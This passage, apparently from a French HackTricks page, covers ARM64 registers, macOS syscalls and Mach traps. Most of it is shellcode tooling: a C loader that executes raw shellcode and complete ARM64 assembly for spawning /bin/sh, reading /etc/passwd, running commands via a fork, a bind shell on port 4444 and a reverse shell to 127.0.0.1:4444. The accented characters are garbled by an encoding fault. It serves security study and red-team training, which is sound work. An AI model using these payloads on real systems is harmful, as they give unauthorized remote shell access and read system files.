En AArch32, le CPSR fonctionne de mani√®re similaire √† **`PSTATE`** en AArch64 et est √©galement stock√© dans **`SPSR_ELx`** lorsqu'une exception est prise pour restaurer ult√©rieurement l'ex√©cution :

<figure><img src="../../../.gitbook/assets/image (725).png" alt=""><figcaption></figcaption></figure>

Les champs sont divis√©s en quelques groupes :

- Registre d'√©tat de programme d'application (APSR) : Drapeaux arithm√©tiques et accessibles depuis EL0
- Registres d'√©tat d'ex√©cution : Comportement du processus (g√©r√© par le syst√®me d'exploitation).

#### Registre d'√©tat de programme d'application (APSR)

- Les drapeaux **`N`**, **`Z`**, **`C`**, **`V`** (tout comme en AArch64)
- Le drapeau **`Q`** : Il est d√©fini √† 1 chaque fois qu'une **saturation enti√®re se produit** pendant l'ex√©cution d'une instruction arithm√©tique de saturation sp√©cialis√©e. Une fois d√©fini √† **`1`**, il conservera la valeur jusqu'√† ce qu'il soit d√©fini manuellement √† 0. De plus, il n'y a pas d'instruction qui v√©rifie sa valeur implicitement, cela doit √™tre fait en le lisant manuellement.
- Drapeaux **`GE`** (Sup√©rieur ou √©gal) : Ils sont utilis√©s dans les op√©rations SIMD (Single Instruction, Multiple Data), telles que "addition parall√®le" et "soustraction parall√®le". Ces op√©rations permettent de traiter plusieurs points de donn√©es dans une seule instruction.

Par exemple, l'instruction **`UADD8`** **ajoute quatre paires d'octets** (√† partir de deux op√©randes de 32 bits) en parall√®le et stocke les r√©sultats dans un registre de 32 bits. Ensuite, elle **d√©finit les drapeaux `GE` dans l'`APSR`** en fonction de ces r√©sultats. Chaque drapeau GE correspond √† une des additions d'octets, indiquant si l'addition pour cette paire d'octets a **d√©bord√©**.

L'instruction **`SEL`** utilise ces drapeaux GE pour effectuer des actions conditionnelles.

#### Registres d'√©tat d'ex√©cution

- Les bits **`J`** et **`T`** : **`J`** doit √™tre 0 et si **`T`** est 0, l'ensemble d'instructions A32 est utilis√©, et s'il est √† 1, le T32 est utilis√©.
- Registre d'√©tat de bloc IT (`ITSTATE`) : Ce sont les bits de 10 √† 15 et de 25 √† 26. Ils stockent les conditions pour les instructions √† l'int√©rieur d'un groupe pr√©fix√© par **`IT`**.
- Bit **`E`** : Indique l'**endianness**.
- Bits de mode et de masque d'exception (0-4) : Ils d√©terminent l'√©tat d'ex√©cution actuel. Le cinqui√®me indique si le programme s'ex√©cute en 32 bits (un 1) ou en 64 bits (un 0). Les quatre autres repr√©sentent le **mode d'exception actuellement utilis√©** (lorsqu'une exception se produit et qu'elle est en cours de traitement). Le nombre d√©fini indique la priorit√© actuelle en cas de d√©clenchement d'une autre exception pendant le traitement de celle-ci.

<figure><img src="../../../.gitbook/assets/image (728).png" alt=""><figcaption></figcaption></figure>

- **`AIF`** : Certaines exceptions peuvent √™tre d√©sactiv√©es en utilisant les bits **`A`**, `I`, `F`. Si **`A`** est √† 1, cela signifie que des **abandons asynchrones** seront d√©clench√©s. Le **`I`** configure la r√©ponse aux **demandes d'interruption mat√©rielles externes** (IRQ). et le F est li√© aux **demandes d'interruption rapide** (FIR).

## macOS

### Appels syst√®me BSD

Consultez [**syscalls.master**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master). Les appels syst√®me BSD auront **x16 > 0**.

### Pi√®ges Mach

Consultez [**syscall_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall_sw.c.auto.html). Les pi√®ges Mach auront **x16 < 0**, donc vous devez appeler les num√©ros de la liste pr√©c√©dente avec un **moins** : **`_kernelrpc_mach_vm_allocate_trap`** est **`-10`**.

Vous pouvez √©galement consulter **`libsystem_kernel.dylib`** dans un d√©sassembleur pour savoir comment appeler ces appels syst√®me (et BSD) :
```bash
# macOS
dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_arm64e

# iOS
dyldex -e libsystem_kernel.dylib /System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64
```
{% hint style="success" %}
Parfois, il est plus facile de v√©rifier le code **d√©compli√©** de **`libsystem_kernel.dylib`** que de v√©rifier le **code source** car le code de plusieurs appels syst√®me (BSD et Mach) est g√©n√©r√© via des scripts (v√©rifiez les commentaires dans le code source) tandis que dans le dylib, vous pouvez voir ce qui est appel√©.
{% endhint %}

### Shellcodes

Pour compiler :
```bash
as -o shell.o shell.s
ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib

# You could also use this
ld -o shell shell.o -syslibroot $(xcrun -sdk macosx --show-sdk-path) -lSystem
```
Pour extraire les octets :
```bash
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/extract.sh
for c in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
echo -n '\\x'$c
done
```
<details>

<summary>Code C pour tester le shellcode</summary>
```c
// code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c
// gcc loader.c -o loader
#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
#include <stdlib.h>

int (*sc)();

char shellcode[] = "<INSERT SHELLCODE HERE>";

int main(int argc, char **argv) {
printf("[>] Shellcode Length: %zd Bytes\n", strlen(shellcode));

void *ptr = mmap(0, 0x1000, PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE | MAP_JIT, -1, 0);

if (ptr == MAP_FAILED) {
perror("mmap");
exit(-1);
}
printf("[+] SUCCESS: mmap\n");
printf("    |-> Return = %p\n", ptr);

void *dst = memcpy(ptr, shellcode, sizeof(shellcode));
printf("[+] SUCCESS: memcpy\n");
printf("    |-> Return = %p\n", dst);

int status = mprotect(ptr, 0x1000, PROT_EXEC | PROT_READ);

if (status == -1) {
perror("mprotect");
exit(-1);
}
printf("[+] SUCCESS: mprotect\n");
printf("    |-> Return = %d\n", status);

printf("[>] Trying to execute shellcode...\n");

sc = ptr;
sc();

return 0;
}
```
</details>

#### Coquille

Extrait de [**ici**](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/shell.s) et expliqu√©.

{% tabs %}
{% tab title="avec adr" %}
```armasm
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
.global _main         ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
.align 2              ; This directive tells the assembler to align the start of the _main function to the next 4-byte boundary (2^2 = 4).

_main:
adr  x0, sh_path  ; This is the address of "/bin/sh".
mov  x1, xzr      ; Clear x1, because we need to pass NULL as the second argument to execve.
mov  x2, xzr      ; Clear x2, because we need to pass NULL as the third argument to execve.
mov  x16, #59     ; Move the execve syscall number (59) into x16.
svc  #0x1337      ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.

sh_path: .asciz "/bin/sh"
```
{% endtab %}

{% tab title="avec pile" %}
```armasm
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
.global _main         ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
.align 2              ; This directive tells the assembler to align the start of the _main function to the next 4-byte boundary (2^2 = 4).

_main:
; We are going to build the string "/bin/sh" and place it on the stack.

mov  x1, #0x622F  ; Move the lower half of "/bi" into x1. 0x62 = 'b', 0x2F = '/'.
movk x1, #0x6E69, lsl #16 ; Move the next half of "/bin" into x1, shifted left by 16. 0x6E = 'n', 0x69 = 'i'.
movk x1, #0x732F, lsl #32 ; Move the first half of "/sh" into x1, shifted left by 32. 0x73 = 's', 0x2F = '/'.
movk x1, #0x68, lsl #48   ; Move the last part of "/sh" into x1, shifted left by 48. 0x68 = 'h'.

str  x1, [sp, #-8] ; Store the value of x1 (the "/bin/sh" string) at the location `sp - 8`.

; Prepare arguments for the execve syscall.

mov  x1, #8       ; Set x1 to 8.
sub  x0, sp, x1   ; Subtract x1 (8) from the stack pointer (sp) and store the result in x0. This is the address of "/bin/sh" string on the stack.
mov  x1, xzr      ; Clear x1, because we need to pass NULL as the second argument to execve.
mov  x2, xzr      ; Clear x2, because we need to pass NULL as the third argument to execve.

; Make the syscall.

mov  x16, #59     ; Move the execve syscall number (59) into x16.
svc  #0x1337      ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.

```
#### Lire avec cat

L'objectif est d'ex√©cuter `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`, donc le deuxi√®me argument (x1) est un tableau de param√®tres (ce qui signifie en m√©moire une pile d'adresses).
```armasm
.section __TEXT,__text     ; Begin a new section of type __TEXT and name __text
.global _main              ; Declare a global symbol _main
.align 2                   ; Align the beginning of the following code to a 4-byte boundary

_main:
; Prepare the arguments for the execve syscall
sub sp, sp, #48        ; Allocate space on the stack
mov x1, sp             ; x1 will hold the address of the argument array
adr x0, cat_path
str x0, [x1]           ; Store the address of "/bin/cat" as the first argument
adr x0, passwd_path    ; Get the address of "/etc/passwd"
str x0, [x1, #8]       ; Store the address of "/etc/passwd" as the second argument
str xzr, [x1, #16]     ; Store NULL as the third argument (end of arguments)

adr x0, cat_path
mov x2, xzr            ; Clear x2 to hold NULL (no environment variables)
mov x16, #59           ; Load the syscall number for execve (59) into x8
svc 0                  ; Make the syscall


cat_path: .asciz "/bin/cat"
.align 2
passwd_path: .asciz "/etc/passwd"
```
#### Appeler une commande avec sh √† partir d'une fourche pour que le processus principal ne soit pas tu√©
```armasm
.section __TEXT,__text     ; Begin a new section of type __TEXT and name __text
.global _main              ; Declare a global symbol _main
.align 2                   ; Align the beginning of the following code to a 4-byte boundary

_main:
; Prepare the arguments for the fork syscall
mov x16, #2            ; Load the syscall number for fork (2) into x8
svc 0                  ; Make the syscall
cmp x1, #0             ; In macOS, if x1 == 0, it's parent process, https://opensource.apple.com/source/xnu/xnu-7195.81.3/libsyscall/custom/__fork.s.auto.html
beq _loop              ; If not child process, loop

; Prepare the arguments for the execve syscall

sub sp, sp, #64        ; Allocate space on the stack
mov x1, sp             ; x1 will hold the address of the argument array
adr x0, sh_path
str x0, [x1]           ; Store the address of "/bin/sh" as the first argument
adr x0, sh_c_option    ; Get the address of "-c"
str x0, [x1, #8]       ; Store the address of "-c" as the second argument
adr x0, touch_command  ; Get the address of "touch /tmp/lalala"
str x0, [x1, #16]      ; Store the address of "touch /tmp/lalala" as the third argument
str xzr, [x1, #24]     ; Store NULL as the fourth argument (end of arguments)

adr x0, sh_path
mov x2, xzr            ; Clear x2 to hold NULL (no environment variables)
mov x16, #59           ; Load the syscall number for execve (59) into x8
svc 0                  ; Make the syscall


_exit:
mov x16, #1            ; Load the syscall number for exit (1) into x8
mov x0, #0             ; Set exit status code to 0
svc 0                  ; Make the syscall

_loop: b _loop

sh_path: .asciz "/bin/sh"
.align 2
sh_c_option: .asciz "-c"
.align 2
touch_command: .asciz "touch /tmp/lalala"
```
#### Coquille de liaison

Coquille de liaison depuis [https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s](https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s) sur le **port 4444**
```armasm
.section __TEXT,__text
.global _main
.align 2
_main:
call_socket:
// s = socket(AF_INET = 2, SOCK_STREAM = 1, 0)
mov  x16, #97
lsr  x1, x16, #6
lsl  x0, x1, #1
mov  x2, xzr
svc  #0x1337

// save s
mvn  x3, x0

call_bind:
/*
* bind(s, &sockaddr, 0x10)
*
* struct sockaddr_in {
*     __uint8_t       sin_len;     // sizeof(struct sockaddr_in) = 0x10
*     sa_family_t     sin_family;  // AF_INET = 2
*     in_port_t       sin_port;    // 4444 = 0x115C
*     struct  in_addr sin_addr;    // 0.0.0.0 (4 bytes)
*     char            sin_zero[8]; // Don't care
* };
*/
mov  x1, #0x0210
movk x1, #0x5C11, lsl #16
str  x1, [sp, #-8]
mov  x2, #8
sub  x1, sp, x2
mov  x2, #16
mov  x16, #104
svc  #0x1337

call_listen:
// listen(s, 2)
mvn  x0, x3
lsr  x1, x2, #3
mov  x16, #106
svc  #0x1337

call_accept:
// c = accept(s, 0, 0)
mvn  x0, x3
mov  x1, xzr
mov  x2, xzr
mov  x16, #30
svc  #0x1337

mvn  x3, x0
lsr  x2, x16, #4
lsl  x2, x2, #2

call_dup:
// dup(c, 2) -> dup(c, 1) -> dup(c, 0)
mvn  x0, x3
lsr  x2, x2, #1
mov  x1, x2
mov  x16, #90
svc  #0x1337
mov  x10, xzr
cmp  x10, x2
bne  call_dup

call_execve:
// execve("/bin/sh", 0, 0)
mov  x1, #0x622F
movk x1, #0x6E69, lsl #16
movk x1, #0x732F, lsl #32
movk x1, #0x68, lsl #48
str  x1, [sp, #-8]
mov	 x1, #8
sub  x0, sp, x1
mov  x1, xzr
mov  x2, xzr
mov  x16, #59
svc  #0x1337
```
#### Coquille invers√©e

Depuis [https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/reverseshell.s](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/reverseshell.s), revshell vers **127.0.0.1:4444**
```armasm
.section __TEXT,__text
.global _main
.align 2
_main:
call_socket:
// s = socket(AF_INET = 2, SOCK_STREAM = 1, 0)
mov  x16, #97
lsr  x1, x16, #6
lsl  x0, x1, #1
mov  x2, xzr
svc  #0x1337

// save s
mvn  x3, x0

call_connect:
/*
* connect(s, &sockaddr, 0x10)
*
* struct sockaddr_in {
*     __uint8_t       sin_len;     // sizeof(struct sockaddr_in) = 0x10
*     sa_family_t     sin_family;  // AF_INET = 2
*     in_port_t       sin_port;    // 4444 = 0x115C
*     struct  in_addr sin_addr;    // 127.0.0.1 (4 bytes)
*     char            sin_zero[8]; // Don't care
* };
*/
mov  x1, #0x0210
movk x1, #0x5C11, lsl #16
movk x1, #0x007F, lsl #32
movk x1, #0x0100, lsl #48
str  x1, [sp, #-8]
mov  x2, #8
sub  x1, sp, x2
mov  x2, #16
mov  x16, #98
svc  #0x1337

lsr  x2, x2, #2

call_dup:
// dup(s, 2) -> dup(s, 1) -> dup(s, 0)
mvn  x0, x3
lsr  x2, x2, #1
mov  x1, x2
mov  x16, #90
svc  #0x1337
mov  x10, xzr
cmp  x10, x2
bne  call_dup

call_execve:
// execve("/bin/sh", 0, 0)
mov  x1, #0x622F
movk x1, #0x6E69, lsl #16
movk x1, #0x732F, lsl #32
movk x1, #0x68, lsl #48
str  x1, [sp, #-8]
mov	 x1, #8
sub  x0, sp, x1
mov  x1, xzr
mov  x2, xzr
mov  x16, #59
svc  #0x1337
```
<details>

<summary><strong>Apprenez le piratage AWS de z√©ro √† h√©ros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'√©quipe rouge HackTricks AWS)</strong></a><strong>!</strong></summary>

D'autres fa√ßons de soutenir HackTricks:

* Si vous souhaitez voir votre **entreprise annonc√©e dans HackTricks** ou **t√©l√©charger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* D√©couvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** üí¨ [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** üê¶ [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) d√©p√¥ts GitHub.

</details>
